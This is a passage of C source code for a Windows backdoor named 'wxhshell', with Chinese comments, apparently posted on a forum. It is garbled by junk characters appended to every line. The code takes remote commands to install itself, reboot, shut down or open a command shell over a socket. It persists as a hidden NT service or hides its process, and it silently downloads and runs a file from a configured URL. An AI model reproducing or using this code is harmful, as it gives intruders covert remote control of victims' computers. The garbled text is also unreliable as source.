a Z, Wa-k  
    switch(cmd[0]) { 0EU4irMa  
  @sO.g_yM  
  // 帮助 Z@A1+kUS  
  case '?': { ~J:lC u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |XG7UH  
    break; Kp;o?5H  
  } Xrn~ ]P7  
  // 安装 Te#[+B?  
  case 'i': { _>64XUZ<n  
    if(Install()) Q3Lqj2r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XX6)(  
    else 5] %kWV>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %&(\dt&R1h  
    break; '#6DI"vJ  
    } $, 42h  
  // 卸载 kA`qExw%  
  case 'r': { d^^>3L!h  
    if(Uninstall()) LnX^*;P5t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -;z\BW5 y  
    else dUSuhT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5L#M7E  
    break; x#j_}L!V;  
    } O v6=|]cW  
  // 显示 wxhshell 所在路径 Big-)7?  
  case 'p': { M!'tD!NWc  
    char svExeFile[MAX_PATH]; pl&GFf o  
    strcpy(svExeFile,"\n\r"); kk#d-! $[  
      strcat(svExeFile,ExeFile); ,1L^#?Q~  
        send(wsh,svExeFile,strlen(svExeFile),0); tjt#VFq?  
    break; TA7w:<  
    } !/j|\_O  
  // 重启 -E"o)1Pj6C  
  case 'b': { c[q3O**  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WLH2B1_):  
    if(Boot(REBOOT)) ?GZs5CnS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e~dU "  
    else { 0g4cyK~n]  
    closesocket(wsh); W>Kn *Dy8~  
    ExitThread(0); (qdk &  
    } 4HAfTQ 1G  
    break; "H@AT$Ny(  
    } 4R6 .GO  
  // 关机 i.&16AY  
  case 'd': { j)Gr@F>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ccAEN  
    if(Boot(SHUTDOWN)) +.St"f/1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c7_b^7h1  
    else { H;`@SJBf  
    closesocket(wsh); GvY8O|a  
    ExitThread(0); _`58G#z  
    } tnntHQ&b  
    break; 4V5*6O9(u  
    } 5Z{[.&x  
  // 获取shell X3vrD{uNU  
  case 's': { d[de5Xra  
    CmdShell(wsh);  .~']gih#  
    closesocket(wsh); 2e &Zs%u  
    ExitThread(0); mi?Fy0\  
    break; s!Vtw p9  
  } V,}cDT>  
  // 退出 i8F~$6C  
  case 'x': { 1'U-n{fD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :+n7oOV  
    CloseIt(wsh); 5Jp>2d  
    break; ?##GY;#  
    } S7R^%Wck/6  
  // 离开 FS[CUoA  
  case 'q': { kJ >B)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y&?]t  
    closesocket(wsh); r38CPdE;}  
    WSACleanup(); 1Mqz+@~11  
    exit(1); GS@ wG  
    break; +8"H%#~  
        } h#>67gJV  
  } JaEyVe  
  } &Jz%L^  
Q_S fFsY  
  // 提示信息 3? "GH1e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oc.x1<Nd  
} (RF6K6~  
  } ;(A'XA4 6N  
qabM@+m[  
  return; eZHi6v)i  
} =Ur/v'm  
~W4<M:R  
// shell模块句柄 q4E{?  
int CmdShell(SOCKET sock) -z@}:N-uR  
{ <GC:aG  
STARTUPINFO si; #cA}B L!3  
ZeroMemory(&si,sizeof(si)); _]NM@'e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %pdfGM 9g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aOOY_S E  
PROCESS_INFORMATION ProcessInfo; rB\UNXy  
char cmdline[]="cmd"; @eul~%B{X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); . 2WZb_ B  
  return 0; Wo%&,>]<H  
} 5m/r,d^H  
RV~w+%f  
// 自身启动模式 ) Ez=#dIq  
int StartFromService(void) zuOIos  
{ %u#pl=k}  
typedef struct [69aTl>/  
{ -$*YN{D+  
  DWORD ExitStatus; }x+{=%~N  
  DWORD PebBaseAddress; &Jj ?C  
  DWORD AffinityMask; &p*N8S8  
  DWORD BasePriority; MTQdyTDHl  
  ULONG UniqueProcessId; sfH|sp  
  ULONG InheritedFromUniqueProcessId; r\yj$Gu>(  
}   PROCESS_BASIC_INFORMATION; )pJzw-m"  
?tBEB5  
PROCNTQSIP NtQueryInformationProcess; |tmD`ndO  
NWf!c-':  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p?%G|Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @|M10r9E  
G$q=WM!%#s  
  HANDLE             hProcess; H7WKnn@  
  PROCESS_BASIC_INFORMATION pbi; t+pI<c^]y  
RNPqW,B!0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R8a xdV9(  
  if(NULL == hInst ) return 0; q\ ?6-?Mr  
GXwV>)!x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <I} k%q'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mu*wX'.'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jjs-[g'}  
"<kmiK/  
  if (!NtQueryInformationProcess) return 0; n1v%S"^  
 ,}bC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7oUYRqd  
  if(!hProcess) return 0; 4&?%"2  
Ts^IA67&<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H|Eu,eq-E  
,5nrovv  
  CloseHandle(hProcess); b2z~C{l  
>:s:`Au  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qf"gH <vT  
if(hProcess==NULL) return 0; <K)^MLgN  
fO9e ;  
HMODULE hMod; )y8$-"D(it  
char procName[255]; FG'1;x!  
unsigned long cbNeeded; C! :\H<gI  
RS$e^_W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KktQA*G  
idV4hMF9  
  CloseHandle(hProcess); sb;81?|  
f9!wO';P6  
if(strstr(procName,"services")) return 1; // 以服务启动 ~6R| a  
|n0 )s% 8`  
  return 0; // 注册表启动 !Y5O3^I=u  
} m'Wz0b^BO  
8c#u"qF  
// 主模块 & %1XYpA.0  
int StartWxhshell(LPSTR lpCmdLine) o-R;EbL  
{ ?QZ\KY  
  SOCKET wsl; BK,= (;d3  
BOOL val=TRUE; Y6V56pOS  
  int port=0; 5pz%DhjLo  
  struct sockaddr_in door; .F9>|Xx[  
D\>CEBt  
  if(wscfg.ws_autoins) Install(); Wh"oL;O  
!\CoJ.5=  
port=atoi(lpCmdLine); .aF+>#V=Q  
s fazrz`h  
if(port<=0) port=wscfg.ws_port; m39 `f,M  
>Efv?8$E\  
  WSADATA data; 5`0tG;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]^"*Fdn  
Ig]Gg/1G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qbmy~\ZY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;g*ab  
  door.sin_family = AF_INET; S.BM/M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZY=x$($f  
  door.sin_port = htons(port); UT+B*?,h  
 z>hA1*Ti  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  |G{TA  
closesocket(wsl); kE=}.  
return 1; ^b'|`R+~}  
} we!}"'E;  
R9~%ORI#;  
  if(listen(wsl,2) == INVALID_SOCKET) { ?HttqK)  
closesocket(wsl); JZ'`.yK:  
return 1; MJb!+E+  
} yX?& K}JI  
  Wxhshell(wsl); RD<l<+C^~  
  WSACleanup(); UuW"  
Ydh]EO0'  
return 0; 36e !je  
hQvSh\p  
} l$z\8]x  
ggfL d r  
// 以NT服务方式启动 _da>=^hFJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Kr!8H/Z  
{ Xh;Pbm|K  
DWORD   status = 0; t(}\D]mj  
  DWORD   specificError = 0xfffffff; k?KKb /&b  
#O* ytZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; noV]+1#"V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =.f]OWehu.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (@>X!]{$  
  serviceStatus.dwWin32ExitCode     = 0; x<4-Q6'{S  
  serviceStatus.dwServiceSpecificExitCode = 0; nJNdq`y2  
  serviceStatus.dwCheckPoint       = 0; T dlF~ca|  
  serviceStatus.dwWaitHint       = 0; E$T)N U\  
~bhesWk8!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XTyJ*`>  
  if (hServiceStatusHandle==0) return; }hv>LL  
22)2o lU  
status = GetLastError(); 7FMO' 'x  
  if (status!=NO_ERROR) q0,Diouq  
{ 7'k+/rAO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (%D*S_m'  
    serviceStatus.dwCheckPoint       = 0; 7g[T#B'/x,  
    serviceStatus.dwWaitHint       = 0; " P c"{w  
    serviceStatus.dwWin32ExitCode     = status; %s6|w=.1  
    serviceStatus.dwServiceSpecificExitCode = specificError; !O~EIz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y4^6I$M7V  
    return; !inonR  
  } :Em[> XA  
Ni7~ Mjjt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9K-=2hvv  
  serviceStatus.dwCheckPoint       = 0; ;<O Iu&,*  
  serviceStatus.dwWaitHint       = 0; 3~iIo&NZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |9$K'+'  
} !7]4sXL{  
80U07tJ  
// 处理NT服务事件,比如:启动、停止 LzEs_B=9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >LRt,.hy6  
{ u(S~V+<@Z  
switch(fdwControl) "JzQCY^C  
{ iqW T<WY  
case SERVICE_CONTROL_STOP: l:5x*QSX  
  serviceStatus.dwWin32ExitCode = 0; *"2TT})   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O'a Srjl  
  serviceStatus.dwCheckPoint   = 0; .gh3"  
  serviceStatus.dwWaitHint     = 0; L}7c{6!F7  
  { N&n2\Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /~Zxx}<;  
  } icLf; @  
  return; c;C:$B7  
case SERVICE_CONTROL_PAUSE: )/A IfH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ) ,1MR=  
  break; 7+QD=j-  
case SERVICE_CONTROL_CONTINUE: }D-h=,];  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pHSq,XP-  
  break; ()i8 Qepo}  
case SERVICE_CONTROL_INTERROGATE: ;"l>HL:^  
  break; ,{!~rSq-l  
}; Z<T%:F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F?TxViL  
} M[LjN  
z'GYU=  
// 标准应用程序主函数 B/hL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N,6(|,m  
{ $\h\, N$y  
zcnp?%  
// 获取操作系统版本 [x Xa3W  
OsIsNt=GetOsVer(); ="hh=x.5J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fS+Ga1CsH  
=QXLr+ y@  
  // 从命令行安装 bq{":[a  
  if(strpbrk(lpCmdLine,"iI")) Install(); %9Br  
E(N?.i-%$  
  // 下载执行文件 `&xo;Vnc  
if(wscfg.ws_downexe) { vs}_1o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B/u0^!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2YI#J.6]H  
} r*CI6yP  
AdMA|!|:hc  
if(!OsIsNt) { \} [{q  
// 如果时win9x,隐藏进程并且设置为注册表启动 jp?;8rS3  
HideProc(); *<Yn  
StartWxhshell(lpCmdLine); /<,LM8n  
} @LZ'Qc }@  
else O CIWQ/ P  
  if(StartFromService()) Vf<VKP[9K  
  // 以服务方式启动 0EiURVX  
  StartServiceCtrlDispatcher(DispatchTable); }#va#Nb(,  
else #-?C{$2I  
  // 普通方式启动 0]%0wbY1  
  StartWxhshell(lpCmdLine); {YnR]|0&  
UZ#Yd|'PD  
return 0; 0*0]R C5?  
}
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只看该作者 1 发表于: 2006-10-10
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